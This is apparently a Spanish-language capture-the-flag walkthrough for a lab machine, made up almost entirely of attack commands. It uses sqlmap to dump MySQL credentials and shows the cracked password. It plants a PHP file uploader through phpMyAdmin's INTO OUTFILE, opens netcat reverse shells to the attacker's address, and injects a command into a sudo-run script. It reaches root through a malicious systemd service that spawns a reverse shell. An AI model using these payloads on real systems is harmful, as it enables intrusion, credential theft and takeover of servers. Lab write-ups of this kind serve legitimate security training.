##### Realizar un escaneo de puertos con nmap `$ nmap -sC -sV 10.10.10.143` ##### Realizar un escaneo de directorios con dirb `$ dirb http://10.10.10.143/` ##### Realizar una inyeccion sql (sqli) `$ sqlmap -u "http://10.10.10.143/room.php?cod=1" --random-agent --dbs` ##### Sacar las credenciales de la base de datos mysql ``` $ sqlmap -u "http://10.10.10.143/room.php?cod=1" --random-agent --dbs $ sqlmap -u "http://10.10.10.143/room.php?cod=1" --random-agent -D mysql --tables $ sqlmap -u "http://10.10.10.143/room.php?cod=1" --random-agent -D mysql -T user --columns $ sqlmap -u "http://10.10.10.143/room.php?cod=1" --random-agent -D mysql -T user -C User,Password --dump ``` ##### Obtendremos las credenciales para inciar sesion en /phpmyadmin http://10.10.10.143/phpmyadmin ``` User: DBadmin Password: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 (imissyou) ``` ##### Una vez logeados en el panel de phpmyadmin subiremos un uploader http://10.10.10.143/phpmyadmin/server_sql.php ##### Ponemos este codigo remplazando con nuestra ip y el puerto que queramos y le damos a Go ``` SELECT "<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo \'<b>Upload Failed.</b><br><br>\'; }}?>" INTO OUTFILE '/var/www/uploader.php'; ``` ##### Ponemos una instancia de netcat a la escucha `$ nc -lvp 1337` ##### Una vez hecho esto, nos vamos a /uploader y subimos una reverse shell y la ejecutamos http://10.10.10.143/uploader.php http://10.10.10.143/shell.php ##### Una vez conectados, tendremos acceso como www-data, por lo tanto hay que hacer privesc `$ sudo -l` ##### Como podemos observar se puede ejecutar el archivo simpler.py el cual hace un ping pero probaremos meter un comando para conseguir la flag de user ``` $ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p $ $(cat /home/pepper/user.txt) 2afa36c4f05b37b34259c93551f5c44f ``` ##### Ahora hay que conseguir el root, para ello vamos a subir una nueva shell en el uploader con el siguiente codigo reemplazando por nuestra direccion ip y un puerto diferente `$ nc 10.10.15.X 4444 -e /bin/sh` http://10.10.10.143/uploader.php http://10.10.10.143/nc.sh ##### Luego la ejecutamos y tendremos acceso como pepper `$ $(sh /var/www/html/nc.sh)` ##### Invocamos una shell tty `$ python -c 'import pty; pty.spawn("/bin/sh")'` ##### Ahora lo que haremos sera crear un archivo .service con el siguiente codigo reemplazando por nuestra ip y puerto ``` [Unit] Description = test_test [Service] ExecStart=/bin/bash -c "nc -e /bin/sh 10.10.15.XX 8787" [Install] WantedBy=multi-user.target ``` ##### Subiremos el archivo mediante el uploader http://10.10.10.143/uploader.php ##### Ponemos una instancia de netcat a la escucha del puerto que hayamos asignado `$ nc -lvp 8787` ##### Vamos a la terminal con acceso como pepper y ejecutamos el archivo subido ``` $ systemctl enable /var/www/html/ttr.service $ systemctl start ttr.service ``` ##### Y ya tendremos acceso root ahora solo queda conseguir la flag de root ``` $ cat /root/root.txt d41d8cd98f00b204e9800998ecf84271 ``` ---